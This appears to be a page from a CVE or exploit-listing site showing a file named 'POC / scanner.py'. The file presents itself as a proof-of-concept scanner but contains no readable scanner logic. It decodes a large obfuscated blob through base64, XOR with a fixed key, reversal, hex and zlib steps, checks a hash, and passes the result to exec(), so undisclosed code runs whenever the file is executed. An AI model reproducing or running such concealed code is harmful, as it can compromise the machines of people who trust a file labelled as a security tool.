5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / scanner.py PY
# Obfuscated by Ohang
import base64,zlib,hashlib,sys
from getpass import getpass

CRYPTO_AVAILABLE = False
try:
    from Crypto.Cipher import AES
    CRYPTO_AVAILABLE = True
except Exception:
    CRYPTO_AVAILABLE = False

enc_data = "K1sFXVZsblAAYgRaAn0haUAGGQRyUEJXLl9QXVFsY1MEYFVdV38maUIEHgV1VhdXf18FWl9sZVBRZVhdU352aE4EHQF1UkNVKl5VXV5uZlNTZVFZUH1xaUYCHAUgUUBXeVwEWF9tZlZUZQdYU3x3aEAEGgZ2UUZVflxYWVBsYVFRYlVdVn4gaU8FTQZ3U0NSKlxUWFVsNlNRYlhdBX5xa0QGSgZ0UEFSe15QWF5sY1FTYFJdVHomaUICFgF2VkNUfV5YW1RtNlBTYVJbVnx3aEYCTAR6UBZVKVoHXFNuYVZVYVlbXXp3akQHFwRwVkFVd19SXVRsM1NbYFBdB39yaBAHSwRzU0BXLF5UWF9uYlJWYVNYXHxwa0AEGwZwUhdXe19XWFZrZlMGYFFZUn1ya0cCSwRzUExVdltZWFNuYVZUY1VZUH90aE8CSgZyVk1VKlwAWgNuMlMBYllaUXx2aEQEGwF6UEdSd19WWlZvblJSYVdaXXxzaU4GGQUjUENWLFxTXVRublZbYFdYU3xzakcEFwd6U0ZWd14FWAJuY1BRYVZbU39xaxAFSARxUUBWelxVXVJvYFJQZVNbU3p2akACHQd6UkFXel0FWlBuY1JXZVNYAH0laUUCHwZwUkVWd11VW1NsblYBYFlbVHogaUQFHAUmUxFXLl0FWAJuZFBQZVVZUH11aEECHwQgUURSeFtVW15tNVFbYFRaVnwhaUQGHgd3Vk1XfF1VW1RuZVNSZQJYVX9waUIHHQF2UxdVfFxZW1NrYVZXYVddUX8mbUUFGAZxVkBUel1SWFFtb1ZSY1JaUH19bEQCSAAgUU1UKl5SWFFsM1EAZFZaVX8ga0QGGQFzUEBXK15UWwJsYVJUZQRaU3pzaEIFHQdxU0JVLl1YXVNrYFBUYlRdVn58akICSwRzUkBXLV5XW1ZtblMDYFZZXH92a0IFGgEkV0JWKl5WWlFvY1NQYVNZXH5ybEEGFgUgUUJUe15ZWFZuYFJWYVVaAH8maxAHTAB6UkNXK15ZWARsYFZTYVRbUHxzakUGTwd3U0NSeF4EWF5vYFBVYFNdVn59a0UGGgckURJXKlwDWAJsNlJVYgNcVX5xbEAHGQFzU0BULl9YW1RrZFNaY1VdU3x3aEAHTwZ3VhBVeVtVW1RuY1YHYgJaVn98bEMEGgZyUE1We11XW1ZsNlFQY1NdAX9zakQESgQmU0JSd1xTWlVvZlFTY1lbUH4ia0UCGQEnUxJVf1tQWl9tYFJWYlRYV3oiaUECHwZ7U0dUdltWW1VsblZUY1ZdUXp2aEMGHwUgURVWKl5QWQJuNVEAYlRdVX50aE4CHwVwU0dSLl9TW1FuNFNWYFdbUHwlakcCSAR1VkFSfV8HWFRvYlJUZQdYXX1xakcCHAFxU0FWfF5SWVNvZVZXZVVYVn51aEMCGgZwUhZTeV9RWVVrM1FVZQRaUXwmbUECHwV7UUdSeV1TWlVrblZVYVddUX0ia0IHGgUjUkdWKlxRW1BuYFZaYFVbV350bEUGHwQjU0NXd1sHWFRrblZUZVlYUH1yaU8GGgZxUhZTd10HWlBrM1NbZVlaVn91bEAGTwV3VkBVfVtSW1ZuNVdWYFRaVH4ibUUCHwF6UExUeF4CWlBtNFNWY1NZBX9yakYESgR0U0dSLFwHWFJuY1MHYFdZV393akYCHgF2VkNULVpZWwRuZ1BbYFFdUXwga0AGGAV6URZTf19SWlBuZlMAYABaXH11akYGHAV0UxFVe1tZXQJsZVNQYVhYXXp0bEAHFwd2U0dWflsDXFVvYFBVYFBbB318akcEHQZ6UxJVK1xWW1drNlJXYgNcAX0maxADSwR0UkdWd1tWWVJsZlZSY1BbVH5xak4ETwcgUU1We1xQXV5rMlFbYVRdVHp3bE8CGwZ3VkFXLV5SWgZtYFBUYVFdAn0maUUHGAZzVk1SLVxTWwZuYFBRY1VYAn8ga0QGHQV2VkZXKVxZWlZuNVNSYVlbVXx8aUQCFgFzUEZWeV4DWFZub1NRY1hbU30ga08FGAdxU0xWelsHXFZtNVdaYARYUX9ybEIHTwR3UkFSeVtTWgVsYVNXYlZaUHwlak4GTwR1UhJXLVxUWFNsblFVYVRdVX8ibUEGGgEgUUJVLlxRW1FtNFNbY1RYUH12bEUHHQUmUxJVKlxWXVVrb1NUZQNcV393aRIFHAF3UUZVelxTWFNuY1JUYVhbBn92bBQHFgZ0U0VSfF1UWVBtZ1BXZVZbUHxwaEUCHAd6UERULl0AW19rYlBQYFlaVX5xbEUCSgZ1U01Vfl8DWlJuYlFWYVVdAH13aEIEGAF6UkJSLFxWW1ZrblZbY1ZaB318aUcESAR0UEdXeV5WXQJuZ1JQYgNYVnp0bEMGHAZ3U0NSe15QWQJub1IDYlNYUn12a0IHTwR0UkxXfl9XWwNsNVdUYFZYBX9zaxADGwEgUUFWfVtRWQJsZFJbYQdcXH5yahADFwF1UkVWel5SWlBtNlFXYFRYXH4ha0MCGQEkVxFXLV5SWQRuZlJQYlRYBX11akEEFwQkUUFVLl1UWgFqMlFSZVVdUnpwaE8EHAQkU0FVfFxSWFRvYVFWYVlaAH91aUMHFgRyUkxXeV5SWl9vNlIGYFlbVnx2aUAGFgV1UENVLV5WXQZublNaY1BaVHpzaUIFFgR3U0NVdl5QWlNvYFJaYQBZVX18bEIHTARzUkBXdl9UXQJsYVFaZVlbU35ybEMCFgEnU0JSdl8AWVRvZ1ZVZVBdUnp1aU4EFwEjUhdVe11XWAFsNFFWYVZZBX52ahIFSwZ6UUJUf1tRW19rNFEAZFFZVHwlakACTARwVkZWd11YWFJsYVJaYFZbAH12aEUHHAEnUUBVdltWWQJsNlEBYFFdAn12bBUFFwV0UEdULVxVWFBub1NWYldZV3x3a0MFGgF7UE1UelxVWVZsZVBbYlZaUX52a0YGHQcjU0dWe1sAWQNsZVJaZVNZAX11aUQEHQQkU0RWKV5TWVVtZVEDYldaUX9xahADSAYhU0VVeVxVWlZuYFZbYFBbAH98bEMFTQRwUkxSe1xUWV5vblNbYQdYUX1yahQHHgd1UEVWLl9WWFBvZ1YBYFdZBX52bE4EGwYhU0VXel9SXVRvblBUYlVZUX9xbEIEFgR1UEVVeFwAWwZtb1JaZVJdXX18aEQEFwV6Vk1VKlxSWlNsYVFbYFBaUX8naUcGGwVwUEBXLF5TXV5ub1BTYAdaV3pxa0AGHAZ2UUJWdl5UWAJsY1ZWYVVaXX5waEEHSAB1UBZXdl8DWlRsNFFaYVlaXH92bEQFTAZ1VkNXfl8FWFZrNVNWYlVbXH9wa0IEFwZyVkZUeV1XWVNsYVFaYVddV359aBADGwVyUkRWK14FWF9rYlAAYFJZU38gaUEEHgcjU0xWLF5XW1Fsb1MAYgNaVnwnaRAHGAdxVhZVd19TWF5sblZWYVVaAX19aUQEGgd0U0JWd11ZWFRrblJbZVlYBXx3aUAFHwZyUhFVeV8EWlNvY1BTZVZZAH0maxIHTwchUUVXd18AW1VsMVFbYFZdV392akcGGQR3VkdSK15UWANsNlIHYAdaBXwnaU8FTQYmU0RWe15ZWF5rNlBSYVRYBX53ahIFHgV3VkFUel5RWVNrYVBUYlBbUnx2bEEGGwV7UEBVK15WWl5vYFEDYlNZVX0la0cGGgF6UkNVKlwEWlNvYFEDYllaUX8mbRQHTwR7UkFVeV1SW1Zrb1BTYwBaVn93bEQESgZ2UkBUKV5WWFdrZFNXYVdbV35zahMHHwZ7VkNVfl5YWlNtNlFXZVNaXHwna0IGHwR2UxdVd15VWAZtYVIAYgRaXHxwakQHFwZ7UkdUe11WWgFsYlFXYVZdUn99aEMESwRzU0ZWfVtXWVVtNVFUYARaVH59aEcGHwQkV0BVKVoCWFRuNlJVYQBYUH8ibU4GFwR7UU1Wdl4HWlBvZVZTYVNZUnxyakAHGQFyUEZUfFtSW1Rub1NTYFBbAnsla0MGHwR0URdVfFsEWldvYlEAYgRYXXwma08FHQVwVkRWfFsFWlJvZVBUYVNYU399akMCSwZ1UExXe14CWFJuNlFRY1hZAn0naUQHHwUgU0dXe1tXWV5uY1NWZVlbUn8naRIFTAZxU0BVeltUXVFvYFFVZQNYUH10akMHTAQjUUZVeV1TWVNrZFAAYFdYAH1yaUIHFwRyVkJSe11YXVJub1NVZVZZU358aEAFHwdxUEdSdl5WWVBuY1JVZQRYUn91aRcFGAcgUxZXeF1QWlRsYFJWYFhZAX1wakUCGAR1UkNUeFtRWVNrblIDYFBbVn13aUEHGwd1UkFWLl9WWgVqYlNaY1hdU3ola0IFHwUkURJXeVxRWVBsZlJQYVhbXXxxaUIEHgckVxBXfl9QW19tNVFbYlhbBX0mbUECGgFxUkFULV5RWQFsblBWYlBZXX51aEEEGgQnUUdXK14AWl9uNVdaYVNdUX8gaRIFGAVyUEZWd11WWwZvZlYHYgVYXH90ak8CTABxUUZXeV5UWl5vYlFXYFlYVH4ha0UGHQd7UUdUe10AW19vYVZbYQdYVXp3aRUHGAcjUxVWd11UWAVuYlJTYVVZU30mbRcGGwRwU0xVd19XWlJuZVNUZVJZVHx9aRcHTQR2UUFXfFsAWlRvZFZQYFFdV352bBUHHwVxVkZSLVpXWFFsYlMDYQBZVHwlaE8GFgF7VhJTfV5QWVNsYVYDY1JYV358aEcHHQcjU0VXLl0CWAVsNFEBYFdaBn8gaUECSAB3VhdXelxWWlNsYlMDYANaVX9xaxAFTwR3U0xUflxZWVJtZ1AAZFdZB39xakQCTAQjU0dVK15TWFdrY1FXZVVdUH9zaBUHHQcnUxJTe1xSXQFuYlFQZVNaBX99akAFGwUjUkVVf18AWVNuNFFUYwJaAX1wa0cGGQZwUUFXd14AWVNvZlAGYlNaBn8maRcFTAR0UkBXfFxXWVFuZ1JaYlJdUn0ga08GFwQkVxdVfFtTWF5uY1JQZVBYVHx9bEAHGAZ7UUVXLV4FWlBtblIGYFFZV3p1aUYEGwV0U0VUeF1UWAZvNlBRYVNYXHx1aRcGSwQkU0JXeF1YXVBsM1NXYFhdUnp3aEACFwdzURVWLVpXW1NuYlNTYVZaVn98bBQHHAR7UBdVflsFWAFublFUYVZbV35ya0UHHQQgU0RUfl5VXVNvZlJQZVBYU34mbUIFFwF2U0ZXe11SWgFqY1NTYgNYV31zahcFFwFzUUxVKVxSWFJvMlFaY1JZBn1xbEIGSAQgV0BUfF9UXQRuZVNbY1JdV31xaEAHGQQhUxVWfltSWl9uZlJRYQNcV31zakcFTARxUxFVeFsFWFJtZlJXZVBYXHp1aUMESgQjUEZWelsHXAZtMlNbYVRdVnp2aEYEHgFzUkVXd19YXVBuYlFSY1ZbBXxxaRUFTwZyUBdXLVwAWQJuZFBVYwBbXHp3akEEHQYhURZVLF5XWFRvZlFVZVRdUnxza0IFSwZ3UkJSeltZWFRtYlEBYlNYUH5wbEIESwZ3UUJUKVoAWFRtY1ZTZVdbUnp3akcGGQEkUUNVKV5XXVVuMVFVYVdZVnp9akMHFgQjUU1ULVxQWFFsZFEDYVNaUX4ia0AFHQYjU0FXd1tXWVNrZFZQY1daUnwiaU4FGgV0VhJXfF5YW1BtZVBXYFNbVX5zbE4ETQR6UUBVKVpTWQVqZVEAYlhYVn5ya0MFSAZ6VkdVeV0CWgZsZVJTYFRYV31xbEYGTwZwVkNXLF4HXFdrb1ZRYQBZAn0iaRAHGQF6UEFUdltRXVVvMVNVYAdcVn9yakEGTQR2UkFVfV1YWgNuMVFRZVVZBnsla08CHgcjUExUel9TWFZub1AHYgNcUX9wakYGFwUjU01XeFtWXVRuZFIDYgNYBX4gaUEGFgZ0UEVWdlxXWV5sYVAEYFdYXX18aRUFHwZ1UExULF5TWlZuNVdWYVhdUnx9ak8GSwRwUEBVKlwDWAJsb1ZbZVZZB399aU4HTAZxUBFVd15VWlRuM1MEYllbBXxxaUQEGQYjUhVXKlxWW1Vub1BbYFJZB39wbEEHGgZxU0FWe1tTWl9rYFZbY1laBnt1bEcFSwYjUUFUf19TXVZrYVFUYFRZXHx2ahQHHwFwUkJUeV5UWF9sb1FWYFZdUH5yakAHGgF7UUVSd19ZWwZsMVdRY1BYV35xaUcGFgYjUUBSfFxSW1JtYFBbYldaAnt8ak8HGwdxU0ZVLV5WWVZvZFJaYwJaXH4laxMFGgFxUkNXf18HXANsZlJVYFBbV312a0QHHQEkU0NSeVxSWFZvZlFVYgRaUH51a08EHgd6U0NUfV9QWFFsYVBSYVdZUn19aEQGGQFwUkVVeV1SW1RrYVZWYFVbUH18bEMHGQF7UUZVdltUW1BvMlFaYFRYVHp1aEYCHwUgUxVXel9UXQZtZVNUYFVYBX5wakYGGgdwUhVUe1wEWAFqZFJVYgNcXX11bBIFHQV1VhZVLVoAWlZvMVFXY1FZXX0la0UGFwZ7UkZULVxRXQVuZVNaY1JaXHxyaUcFHQV1UUxWLV5UW1RuYFIHYgJYUH53a0IEHwV6UhdXLF5QXVNrZlEEZFNaVn0maUcEHwdwVk1Xfl9TWFdrMVdbY1ZYU3p1bEcFGgUkU0NWfV1WWwNsZFMDY1hbVn19ahQHFgcjUUJSfl5WWlBtM1NbYlBbXH8laRQDTwcgURdVd1xWXVFvYVBbYVZaU391aEIFGwEgUUxXKlxTXVFuY1JbYVBaUX4laBADGQd3U0JUeV1XWVRtNVNUZQVaXXp9aBMHFgZzU0JVeFtWWFJuYlBaYFNaUHx9aUQEGQZ1UEdULF4CWAZtZVYGYgJaV392aEQFSAAmUUZSelxYWF5sZVEBYlRbVnwga0UHSgZyVkdUeF1RXQJuZ1JTY1NaU31wakAHHQZ7UE1Sel9QWQFsZ1JXYgJaUn0ia0MCTwR2UBJVel9WXVBsYlADYFBbUX19bEICHAd1URZTLV4AWVdtb1ZbZVVaBnt3akUGFgFyVkRUeV8FWlNuYVZaYgNaUn0maUACGAF3UkNXel0AWlJuYlNQYgdcAH13axUHFwUgU01Udl8DWFBsZVJTYlhaUnolaxIHTARwUEBSLF5QWgRuMVNaYVZbUnohaRQFSwYhUxZVeV1QWVVtZ1YHYFNZUXwnaxADHQEkU0BXel1TWAFuZlNXY1lYAn90aEUFGQV1UBZTLV5ZW1FtYlJbY1NbBn1yahIHHAd3UBVWfV5XWFRrZVFWYARYUn0na08FTARyUhdXfV9UWF9sY1NXYVZdAn12bEcETQZzU0xVKlxZWARuM1EEYANcXH92aBIHHAZ6UExSLl1RXVRvYVZQZQdaVHxwa0ICFwckURVXd19VXVZuZFBaZVldAn99bE8HHQZxVhVVfFsEWlBrZFBRZVBbUn4naUcFFgV3VkVUe1xRW1JsYVZUYwdaVnx8aUcEFwZyUBBVK15YW1RrNFFSZQdYVHpyakcEGQd6VkRSLF5WWV5sMVFWY1JZXXpya0UEHwQgVxZVe11ZWwZtZFAGYABYUXx3akAGGAZyVk1UeF1XW1Zrb1BQZVVdBn1xaBQHSwZwUUxULVpYWgNsZ1BbYVRbXH5wakAFGAdxUkJXLlwHXFJuY1ZWYlRYUX93aBQFTAB3Uk1XK14EWF5uY1FUZVFdUX8ha0EHGwZ2U0dWdltXWVRuYlBUYlFdVn9xbEMEGAZ7URVVd19UWQVsblZTYlFdAX1ya0UFSwZ6VhVWdl4AWl5uZFBTZVZYUH90bEIFGARxUkBUdl1VXQZuYVMEYlZZUX13aU8CFwFzUBZXeVtZWQZtb1MDYlBZUn0laUIFGAR1UhVWfFtUW19uZVBSYQVYUH4naUUFGAZ3U0VVdlxQWlBtNVdRYgJaBn98aEEGHQR0VkRSfFtXXVNsZVNXYFhYXH18a0YEFgF1UEZSdltSWgVqY1BVZQJaXH5xaUUEHQRxU01WLl5QW1RtNVcAZFZdU312aEUEHAd0UExVeltSWFBsZ1JRYFRZAnt9a0YGFgV7UEdXd15RW1FsYVABYFZYUnxwaRMHGQZ6UxBXfl5ZW1FrMlNRYVdaUXp3a0UHHQQhUURSKVpYW1NuNlIGYlhZBXwhaUUGHgV3UEFWd1tYWQFuZFNbY1RYXX1za0UEHwd0Uk1Ud1tSWARuYVJRYwVaU30ia0IESAQnUUNUf1tYWQJuZFMBYldbAX1zaUUGHAZ0UxVUfF9WW1RtY1NaZVZbAn12aU4GSAR0Uk1Udl4DWFdrblAHYFhZU312axUFGgZ2Uk1XfVxVWlFsMlFQY1BZUXwla0IEFwVzUU1WeFwFWAVsYFIEYllaBnt3a0YCHwYgV0FXfltRXVVrZVNUYFVZAX9xaRUFGAF6UhJVeV5XWANuY1JWZVNZXH9zaxQDGAR6UEJXflwFWldvZlJUY1lZVXx3a0QHTAYgV0FSfltYWgRsZlJUYlNaUX9xaEEFHAF7UBJXLl5UWQZtYVZWYgBZVnwiaxADFgUjU0RUeF9SWFNrZVJaYwdaU3omaRcHTAZzUUZXd19TWVRrZVFRYFFbUX99ahcESAB3URVWelxVWQZuYlYEYlVdUn8maRcFHwR6VkFXd1tUXVJtblFaY1ZaBn12axcGHgFzUUxWel5SXQZuNFMDYVRaVn93ak8FTwZ3U0NXeVtXWlJuZ1JRYFldXH93akIESwYkU0JSeF5SWFVtYlEEYFZaVn99akIEHAR7VkRUflxZWV5vMlNXZVhbAX0na08ESwZ6UEdXf19UWANsb1FVYlJaVnp1ak4ETwV1VkBSKVxYWV9rZlIEYFdaAX0maRAFGgEjU0RWdlxRXVNrMlNXYABaXH11aU4ETwV7UUVXLlxXWlZrNlNTYVBdUH53ahcFHgEhU0ZVeVtXXVFrMVcAYlNYXH8naRQFHAF6VkVXfFxUXVNsY1BTYVJZUH1zaEQHTwd6UUJXLl1VW1NtYVFVYlFZV31zahUFHwQjURdVLFxTWFFrb1AGYlNZVX51aEEGGAF0Vk1Se19RXVJrYlNUZVhYXXx9ahQHGgEnU01WeFtXWl5tYFZRY1NYVX8la04HHAQkV0xSfFxSWF9sZFZUYVhYUX93aE4CSAQmUxJVd19WW1VtYlYGYlJZVX98aE8GSgZ2UkVWel9XWVRsYVFSZVVbUX5xa04FGAV7UhZTeF9XW1dvb1JUYwJYAH8laEYGFgd1UhZVeFxVWVZvMVFRYlFbVX8lak8FHwVwUhZVLVxWWVVvblNaYVBYVn9wakIFHAZ0UUNXfl9SWVBsNlNXYlldAnt1aBQDSwR7URVXf1tRW19tY1JVYwVaAX98bEAFHQUjU0FUeFtZWV9tMVEHYlFZXHp2bEYGTAAkUxFVel9TWQFqZlZQYldaXH8ha0YCHQF0UEFWd15YWFJsYlJbZVdaU353aUUEGQdzUUNXeV1WXVVuZVBVYFdZUn18bEAEGwR7UEFWKVxTW1JsNlBbYFFdUX98bEYCHQEkU01Xd19WWVdvYVEDYFNdAH11a04EFgYjUEdVfFwDWFNvZVMDYFhZAH99aUcFGAZ1U0FUf10CWFZrZFFWYlNYAX0mbRcFGQcjUUxSfF1SWARsYFEDYQBYXH9zaEYCTAYgU0VSe19TW15rMlEBYFdbVnxybBcFTAYkUUJUKVxQXVNvblZRZQBbVXp3a0MGHAd3UBZXfltTWVRvNlEGYFNdUHoiaUMFFgEhU0RSLVwHWFdtY1IBYFdZVX0gaU4ESAB2UBVWfV5XWVRsYFFWYlddV39wbEMFFwYhUUBVdltQXVJuYFFTY1RZUn8haUMGHQd2UUFXLF5QXVBsZVNWYVZdV39waE4GGAR2UBdXK1wHWldvZVZWZVJaVX0maUQFTwV3UUdSLVxQW19vblBbZVNYBXx3a0MCHgF7UUdXfl5VWFFvblZbY1NaU3pwaEcHHAVzVkBXeltYWgVuYVYAYlVaV31waEIHGgRxVkxXdl1UWQVsMVFaYwdYVH4laUQHHwUjUhFXd15TXV9rZlFbYQNYUn4la0QETwVxU0dWeV9QW1RvZFBTYFRZB312bBIHHgd0U01XfV9UXQVsZFYEYFRYUH0la0cHHQRzUxBVeF0FWAZvb1MAYFBZUn9xaEEHHAR6Vk1WfVxTWwZtb1MGYANcAn11bEYGGgF0U0NXe19VWFNvZVNbZVRYVnwmaxcGFgQhUUVXel4CWl9tblFWZVZbBn18aBMHHwEkUU1Vfl5ZWF5sYlJVYVRaAX0lahQHGgckU0BXLVoHXFZuMVNSY1RaBX9za0EEGgR7URBXKlxUWF5sM1NWY1VbV35yaU8FHAZzVhVXLl1QWlJtNlBVYAVYVXp3akICHgdwUUJWd15UW1JtMlFSYVlZUX5yaUEFGQZzURJTeltRXQRsb1JVYFlYVXpxbBcFFwZxVhVVd19SWV9sZFEBYFNZU311a0cHHQV6VkBWLFxQWAVqYlADYQBZVXxxbEEHFwRwUBdVKlxVXQJuYFZUYVZdAH98ahIFGwR3UkBVLFxYWgVuYFZXYQBZAn1zak4CFwRwUERUKVwFWlNsb1FXYlldBn12ahcGGgRxUkZUfV9TW15sNlNSZVlbUH18bEYESAYjUBFVfV8CWgVqNVdRZQdaVn9yaEAGGwRwVkVXKl5VWV9tblBVZVlaXHp8aU4CFwd2UEBXfVtZWVZuYFBSYQNcUX50ak4FHgFzUBdXLlxUWgNsZlNbZVNdVHoia08FHQd6VhdVfF5WWFVsYVFWZQVaVXx0aEIFSwZ2VkNSLl1TWFNrNVNTYVVbVX1zaUEGGAYgUUFXd14AWFZvY1ZRYgBbUXp9a08HHQZ1UUVVflxSWVNuZVYDYAVYAX8laU8CHgd1UhVXLVxQWV9vYlNTYFVaVXx8bEcFFwEjUUxXeF8FWgVqZFBUZVhYUn4mbRAHSwR2UUZSf1tQXV9rZVNSY1hYUnp3akIFFwR1UxJXfV4DWlJsYVZbZQBaBn91a0UCFwZ7UkdWe1xRWwFuZVBQZVJYUHxwaU4EFgZ1UUVWf19XWQZvYlBXYVZYAH12akACGAUkUUxWfF1SW15vNVFVYVRYV35zbEcFFwR2UUxUK15XW1NvZFFSYVBbUXxyakMEFgZyVhFVLVpXWgNsYFZVY1JZVn59bBAFHQV7UEJUeV5VWlBrYlNVZVhZAX8ibRUHTwUkUUxSfl9RW1dtYlNaYlhbVHwmbRcHSgZ6VkBXfVxRW19rZlJQYlNYUn8mbU8CHgd7UBFXfVsAWFNsZ1ZVYVRYV3pybEQETARyUEZVfF0FWlZuZlFVZVdYVXwia0AGFgVwVkNSdl9QWAVsNFFUYlNaXH9zaBAFTwV2UU1VeFxZWgZvNlNaYQBYVXwibUIFSAZ0UkFVK15XXV9vNVdaYlJZBX9xaxMHSgYjUkdXLVpQWV9rZFZRYwVaVXwnaUMHGgd3URdVKVxXWVFvb1JRYlVYV390aBcEGgd2VkJWdl1TXVRvNlFQYVhdVn9xaRcGHQFzVhZTd10DWlZuMVFQYANaV398ahQDTABwUE1Ue15TWwVqNVFQYllaVHxwaxcFTABxUUdWKVpXWldvNlMEZFNaU318bBcHGAF7UkJXfFsEWlZtMVFbZVRZAn92aEICGAEjU0NXeFtWWVNtZ1BbZQNYUH1yaEIHGQR2UU1Ud15ZWlFuY1YDYFNdUHp9aUcGFgZxUUJVdl1TWlFvZFBRYFBaB39wa0QESgYmUUVXfV1TWwFuNVNXZVZZXXxxaEQFSgZzU0VVeVxYWVNsZVNXYVlYU3x0bBUFHAYnURdXdl5SXVZtYVZbYFNYVn11aUQEGgEjUhJVfVtZWQNsNVNWYgBZV35wahUFTAZwUUJSd10CWAJuZlEEYgJaUX93a0QHHQV6UhZTfF1QW1RvblFQY1FbU311bEMFGgZ2VkNUeFxXWVdrYVFaYQNcAH9wa0EEFwYjUkdSdl9ZWgZuNlJWZVRdV35waUQFSgZ1URBXLFxVWl9uY1AAYgBYUXpxbE4GSAR6URVXe1tXWl9vNlBQYlJZXH9zaBQHSgYjUEFXdl5UWwFqYVNRYgVaUXwha08CTwV7UhFXe10AWVRtb1AGYFVaV312bBQHFwV7Uk1UeV5SWFRvZlFRYFNaU31waBcFGAZ7UhVWfF5VWgFqYlZaZVBaBXwlaEUGGwF6UkBXel9QXV9rMVEAYFBdXH0laE4CHQd6UhdXLFwHXF9uZVZVZQJaU359aUcFGgV1VkVXKV5ZW1VvNVdUY1JdVX93aBcFHAVzURZXf10AWFFtZFJWYllbBX91a08FGwYkUUBXfF1YW1dvZFJQZQBbUHwga0MCGwcmU0FXel4AWFFtblFXYVdaAnsnaxUFTAZzUkFUeFtUWgFuM1FaYVhdUnx3bEcCSwR1VkNVel9VWVNvYFFUYgBZBX1xaQ=="
checksum_expected = "9041ad6358687795864a09b729a8f4b7c6a7c158dfd4f77a5715b2372b5044b2"
mode = "NO-PASS"
fixed_key = "OhangXWebVandID_v1.2Beta"
salt_hex = ""
iters = 0

def sha256_hex(b): return hashlib.sha256(b).hexdigest()

def derive_key(password, salt, iters=200000, dklen=32):
    return hashlib.pbkdf2_hmac("sha256", password.encode(), salt, iters, dklen)

def xor_bytes(data, key):
    k = key.encode()
    return bytes(b ^ k[i % len(k)] for i, b in enumerate(data))

def abort(msg):
    print("❌", msg); sys.exit(1)

try:
    if mode == "AES-GCM":
        if not CRYPTO_AVAILABLE:
            abort("Crypto lib tidak tersedia.")
        blob = base64.b64decode(enc_data)
        nonce = blob[:12]
        tag = blob[12:28]
        ciphertext = blob[28:]

        passwd = getpass("🔐 Masukkan password dekripsi: ")
        if not passwd:
            abort("Password kosong.")

        salt = bytes.fromhex(salt_hex)
        key = derive_key(passwd, salt, iters, 32)

        cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
        step = cipher.decrypt_and_verify(ciphertext, tag)

    elif mode == "NO-PASS":
        step = base64.b64decode(enc_data)

    else:
        abort("Mode tidak dikenal.")

except Exception as e:
    abort("Decode error: " + str(e))

try:
    step = xor_bytes(step, fixed_key)[::-1]
    hexstr = step.decode()
    step = bytes.fromhex(hexstr)
    step = base64.b64decode(step)
    original = zlib.decompress(step).decode()
except Exception:
    abort("Gagal proses dekripsi.")

if sha256_hex(original.encode()) != checksum_expected:
    abort("Integrity check gagal!")

exec(original)